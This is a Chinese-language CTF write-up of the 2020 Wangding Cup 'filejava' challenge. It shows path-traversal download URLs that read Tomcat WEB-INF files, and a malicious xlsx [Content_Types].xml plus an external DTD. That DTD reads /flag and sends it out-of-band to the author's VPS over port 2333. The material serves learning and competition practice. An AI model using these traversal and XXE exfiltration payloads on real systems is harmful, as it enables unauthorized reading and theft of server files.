[网鼎杯 2020 青龙组]filejava

[网鼎杯 2020 青龙组]filejava

知识点

  • xxe详述
    -常见文件泄露
  • Apache POI XML外部实体(XML External Entity,XXE)攻击详解

    解题步骤

    经典文件上传。
    先随便传个东西,用burpsuite抓包。
    发现下载的时候有可疑请求


    估计是随意文件读取
    根据Java的尿性,读取WEB-INF/web.xml

    然后把3个class文件下载下来,根据Java的命名规则,每个.代表一个文件夹。

    DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
    DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
    DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

    在idea上代码审计
    看到奇怪的地方


    百度一下,可以知道apache的excel xxe漏洞
    创建一个xlsx文件,改后缀为zip并解压
    修改[content-types].xml为

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE convert [ 
    <!ENTITY % remote SYSTEM "http://47.96.173.116/1.dtd">
    %remote;%int;%send;
    ]>
    <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>

    因为是无回显的xxe,需要用到vps
    在自己的vps上创建1.dtd为

    
    <!ENTITY % file SYSTEM "file:///flag">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://47.96.173.116:2333?p=%file;'>">
    %int;
    %send;

然后服务器监听2333端口,将刚刚解压的文件压缩回去,上传文件,在服务器获取flag
![](http://47.96.173.116/wp-content/uploads/2021/06/KFJBU6GX5TSFXMH0_BJXG.png)
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇